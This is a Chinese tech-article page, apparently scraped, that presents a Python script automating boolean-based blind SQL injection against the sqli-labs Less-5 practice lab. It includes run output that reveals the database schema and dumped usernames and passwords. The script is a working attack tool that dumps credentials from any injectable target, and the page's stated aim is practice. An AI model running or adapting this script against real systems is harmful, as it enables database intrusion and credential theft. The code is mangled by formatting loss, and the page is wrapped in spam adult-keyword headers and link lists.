日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

python實現布爾型盲注的示例代碼

瀏覽:188日期:2022-06-21 10:17:02

好久沒寫python了,就想著寫個簡單的練練手,寫個布爾型盲注自動化腳本,我覺得這個功能寫的非常全了,這里是參考sqli-labs里面的盲注漏洞進行的腳本編寫。

腳本運行時間:6分半左右

bool_sqlblind.py# -*- coding:utf-8 -*-# Author: mochu7import requestsdef ascii_str():#生成庫名表名字符所在的字符列表字典 str_list=[] for i in range(33,127):#所有可顯示字符 str_list.append(chr(i)) #print(’可顯示字符:%s’%str_list) return str_list#返回字符列表def db_length(url,str): print('[-]開始測試數據庫名長度.......') num=1 while True: db_payload=url+'’ and (length(database())=%d)--+'%num r=requests.get(db_payload) if str in r.text: db_length=num print('[+]數據庫長度:%dn'%db_length) db_name(db_length)#進行下一步,測試庫名 break else: num += 1def db_name(db_length): print('[-]開始測試數據庫名.......') db_name=’’ str_list=ascii_str() for i in range(1,db_length+1): for j in str_list: db_payload=url+'’ and (ord(mid(database(),%d,1))=’%s’)--+'%(i,ord(j)) r=requests.get(db_payload) if str in r.text: db_name+=j break print('[+]數據庫名:%sn'%db_name) tb_piece(db_name)#進行下一步,測試security數據庫有幾張表 return db_name def tb_piece(db_name): print('開始測試%s數據庫有幾張表........'%db_name) for i in range(100):#猜解庫中有多少張表,合理范圍即可 tb_payload=url+'’ and %d=(select count(table_name) from information_schema.tables where table_schema=’%s’)--+'%(i,db_name) r=requests.get(tb_payload) if str in r.text: tb_piece=i break print('[+]%s庫一共有%d張表n'%(db_name,tb_piece)) tb_name(db_name,tb_piece)#進行下一步,猜解表名def tb_name(db_name,tb_piece): print('[-]開始猜解表名.......') table_list=[] for i in range(tb_piece): str_list=ascii_str() tb_length=0 tb_name=’’ for j in range(1,20):#表名長度,合理范圍即可 tb_payload=url+'’ and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+'%(i,j) r=requests.get(tb_payload) if str in r.text: tb_length=j print('第%d張表名長度:%s'%(i+1,tb_length)) for k in range(1,tb_length+1):#根據表名長度進行截取對比 for l in str_list: tb_payload=url+'’ and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+'%(i,k,ord(l)) r=requests.get(tb_payload) if str in r.text: tb_name+=l print('[+]:%s'%tb_name) table_list.append(tb_name) break print('n[+]%s庫下的%s張表:%sn'%(db_name,tb_piece,table_list)) column_num(table_list,db_name)#進行下一步,猜解每張表的字段數def column_num(table_list,db_name): print('[-]開始猜解每張表的字段數:.......') column_num_list=[] for i in table_list: for j in range(30):#每張表的字段數量,合理范圍即可 column_payload=url+'’ and %d=(select count(column_name) from information_schema.columns where table_name=’%s’)--+'%(j,i) r=requests.get(column_payload) if str in r.text: column_num=j column_num_list.append(column_num)#把所有表的字段,依次放入這個列表當中 print('[+]%s表t%s個字段'%(i,column_num)) break print('n[+]表對應的字段數:%sn'%column_num_list) column_name(table_list,column_num_list,db_name)#進行下一步,猜解每張表的字段名def column_name(table_list,column_num_list,db_name): print('[-]開始猜解每張表的字段名.......') column_length=[] str_list=ascii_str() column_name_list=[] for t in range(len(table_list)):#t在這里代表每張表的列表索引位置 print('n[+]%s表的字段:'%table_list[t]) for i in range(column_num_list[t]):#i表示每張表的字段數量 column_name=’’ for j in range(1,21):#j表示每個字段的長度 column_name_length=url+'’ and %d=(select length(column_name) from information_schema.columns where table_name=’%s’ limit %d,1)--+'%(j-1,table_list[t],i) r=requests.get(column_name_length) if str in r.text: column_length.append(j) break for k in str_list:#k表示我們猜解的字符字典 column_payload=url+'’ and ord(mid((select column_name from information_schema.columns where table_name=’%s’ limit %d,1),%d,1))=%d--+'%(table_list[t],i,j,ord(k)) r=requests.get(column_payload) if str in r.text: column_name+=k print(’[+]:%s’%column_name) column_name_list.append(column_name) #print(column_name_list)#輸出所有表中的字段名到一個列表中 dump_data(table_list,column_name_list,db_name)#進行最后一步,輸出指定字段的數據def dump_data(table_list,column_name_list,db_name): print('n[-]對%s表的%s字段進行爆破.......n'%(table_list[3],column_name_list[9:12])) str_list=ascii_str() for i in column_name_list[9:12]:#id,username,password字段 for j in range(101):#j表示有多少條數據,合理范圍即可 data_num_payload=url+'’ and (select count(%s) from %s.%s)=%d--+'%(i,db_name,table_list[3],j) r=requests.get(data_num_payload) if str in r.text: data_num=j break print('n[+]%s表中的%s字段有以下%s條數據:'%(table_list[3],i,data_num)) for k in range(data_num): data_len=0 dump_data=’’ for l in range(1,21):#l表示每條數據的長度,合理范圍即可 data_len_payload=url+'’ and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+'%(i,db_name,table_list[3],k,l) r=requests.get(data_len_payload) if str not in r.text: data_len=l-1 for x in range(1,data_len+1):#x表示每條數據的實際范圍,作為mid截取的范圍 for y in str_list: data_payload=url+'’ and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+'%(i,db_name,table_list[3],k,x,ord(y)) r=requests.get(data_payload) if str in r.text:dump_data+=ybreak break print(’[+]%s’%dump_data)#輸出每條數據if __name__ == ’__main__’: url='http://127.0.0.1/sqli-labs/Less-5/?id=1'#目標url str='You are in'#布爾型盲注的true&false的判斷因素 db_length(url,str)#程序入口

運行結果

PS C:UsersAdministratorDesktop> python3 .bool_sqlblind.py [-]開始測試數據庫名長度.......[+]數據庫長度:8

[-]開始測試數據庫名.......[+]數據庫名:security

開始測試security數據庫有幾張表........[+]security庫一共有4張表

[-]開始猜解表名.......第1張表名長度:6[+]:emails第2張表名長度:8[+]:referers第3張表名長度:7[+]:uagents第4張表名長度:5[+]:users

[+]security庫下的4張表:[’emails’, ’referers’, ’uagents’, ’users’]

[-]開始猜解每張表的字段數:.......[+]emails表 2個字段[+]referers表 3個字段[+]uagents表 4個字段[+]users表 7個字段

[+]表對應的字段數:[2, 3, 4, 7]

[-]開始猜解每張表的字段名.......

[+]emails表的字段:[+]:id[+]:email_id

[+]referers表的字段:[+]:id[+]:referer[+]:ip_address

[+]uagents表的字段:[+]:id[+]:uagent[+]:ip_address[+]:username

[+]users表的字段:[+]:id[+]:username[+]:password[+]:level[+]:id[+]:username[+]:password

[-]對users表的[’id’, ’username’, ’password’]字段進行爆破.......

[+]users表中的id字段有以下13條數據:[+]1[+]2[+]3[+]4[+]5[+]6[+]7[+]8[+]9[+]10[+]11[+]12[+]14

[+]users表中的username字段有以下13條數據:[+]Dumb[+]Angelina[+]Dummy[+]secure[+]stupid[+]superman[+]batman[+]admin[+]admin1[+]admin2[+]admin3[+]dhakkan[+]admin4

[+]users表中的password字段有以下13條數據:[+]Dumb[+]I-kill-you[+]p@ssword[+]crappy[+]stupidity[+]genious[+]mob!le[+]admin[+]admin1[+]admin2[+]admin3[+]dumbo[+]admin4PS C:UsersAdministratorDesktop>

到此這篇關于python實現布爾型盲注的示例代碼的文章就介紹到這了,更多相關python布爾盲注內容請搜索好吧啦網以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持好吧啦網!

標簽: Python 編程
相關文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
国产日韩欧美三级| 日韩88av| 日韩午夜黄色| 欧美日韩免费观看视频| 色婷婷亚洲mv天堂mv在影片| 福利一区二区三区视频在线观看| 国产精品日本一区二区不卡视频| 国产欧美日韩在线观看视频 | 成人日韩av| av在线最新| 日韩在线观看不卡| 亚洲欧美一区在线| 丝袜美腿一区二区三区| 综合激情网...| 91成人福利| 精品国产亚洲日本| 少妇精品导航| 精品一区免费| 男女激情视频一区| 欧美综合精品| 精品三级av| 成人av二区| 少妇精品久久久| 欧美国产中文高清| 日韩亚洲在线| 精品一二三区| 久久黄色影院| 美女av在线免费看| 美女免费视频一区| 久久国产精品毛片| 成人av三级| 亚洲三级毛片| 视频一区日韩精品| 精品久久国产一区| 日韩欧美久久| 亚洲激情婷婷| 欧美日一区二区| 蜜臀av一区二区在线免费观看| 亚洲影院天堂中文av色| 国产精品对白| 欧产日产国产精品视频| 午夜亚洲一区| 久久不见久久见国语| 人人精品亚洲| 亚洲网址在线观看| 精品国产欧美日韩| 亚洲免费网址| 欧美一区网站| 亚洲精品一级二级| 日韩一区二区三区精品| 日韩av片子| 亚洲欧美网站在线观看| 精品国产成人| 日韩影院精彩在线| 高清不卡一区| 亚洲一区二区三区无吗| 国产伊人久久| 香蕉成人久久| 福利视频一区| 免费人成网站在线观看欧美高清| 欧美a级一区二区| 国产精品人人爽人人做我的可爱| 亚洲男人在线| 日韩中文视频| 国产欧美日韩精品一区二区免费 | 先锋影音国产一区| 国产精品二区不卡| 综合欧美精品| 日本精品不卡| 欧美日韩一区二区三区在线电影| 久久国产电影| 麻豆精品视频在线观看| 男女男精品视频网| 欧美日韩视频免费观看| 国产欧美一区| 亚洲最新av| 亚洲特色特黄| 久久久久久色| 日韩亚洲在线| 丁香婷婷久久| 日本不卡视频在线观看| 黄色日韩在线| 精品一区二区三区免费看 | 欧美在线日韩| 国产精品婷婷| 裤袜国产欧美精品一区| 日韩在线观看一区二区三区| 欧美a级片一区| 黄色网一区二区| 欧美亚洲免费| 免费久久99精品国产| 久久视频精品| 国产精品福利在线观看播放| 国产精品亚洲一区二区在线观看| 玖玖精品视频| 999国产精品视频| 久久香蕉网站| 日韩精品免费视频人成| 欧美日韩国产在线观看网站| 精品精品国产三级a∨在线| 玖玖玖国产精品| 91精品国产自产在线观看永久∴| 国产精品自在| 午夜电影一区| 免费精品视频| 激情婷婷欧美| 日韩在线中文| 国产aⅴ精品一区二区三区久久| 日韩高清不卡在线| 日韩制服丝袜先锋影音| 亚洲激情不卡| 国产综合激情| 99精品视频精品精品视频| 成人免费一区| 麻豆精品久久| 91精品一区| 亚洲欧洲日韩| 综合日韩在线| 亚洲一区二区三区久久久| 国产视频亚洲| 激情综合网址| 亚洲第一区色| 欧美特黄一级大片| 亚洲不卡av不卡一区二区| 亚洲精品一级二级| 色爱av综合网| 日本久久成人网| 成人午夜国产| 性欧美xxxx免费岛国不卡电影| 日韩国产欧美| 国精品产品一区| 久久婷婷国产| 美女久久久久久 | 日韩av不卡一区二区| 亚洲日本在线观看视频| 人人精品人人爱| 亚洲精品动态| 日韩av影院| 国产精品永久| 久久精品国产99国产精品| 久久免费精品| 国产综合色区在线观看| 激情黄产视频在线免费观看| 国产成人免费| 国产一区二区三区国产精品| 欧美激情国产在线| 中文字幕在线高清| 久久精品高清| 亚洲欧美久久久| 亚洲精品综合| 日韩高清欧美激情| 欧美韩一区二区| 国产成人久久| 欧美中文字幕一区二区| 在线亚洲国产精品网站| 久久亚洲色图| 国产精品最新| 五月激情久久| 久热精品在线| 日韩av中文在线观看| 国产精品www.| www.com.cn成人| 免费精品国产的网站免费观看| 午夜在线一区二区| 国产另类在线| 久久久天天操| 免费人成网站在线观看欧美高清| 欧美一区二区三区久久| 高清一区二区三区av| 激情婷婷综合| 五月亚洲婷婷 | 久久久久免费| 欧美gv在线| 免播放器亚洲| 国产精品久久777777毛茸茸| 鲁鲁在线中文| 免费看黄色91| 精品久久97| 99热精品在线| 国产精品成人国产| 91精品国产自产在线观看永久∴ | 欧美特黄视频| 欧美另类中文字幕| 中文在线а√在线8| 国产精品腿扒开做爽爽爽挤奶网站| 日韩精品视频在线看| 精品国产aⅴ| 亚洲少妇一区| 国产精品亲子伦av一区二区三区| 私拍精品福利视频在线一区| 日本麻豆一区二区三区视频| 日韩在线第七页| 亚洲啊v在线免费视频| 国产资源在线观看入口av| 久久亚洲电影| 中文在线а√天堂| 日韩福利视频导航| 欧美日韩在线播放视频| 国产精品一区二区精品视频观看| 久久影视一区|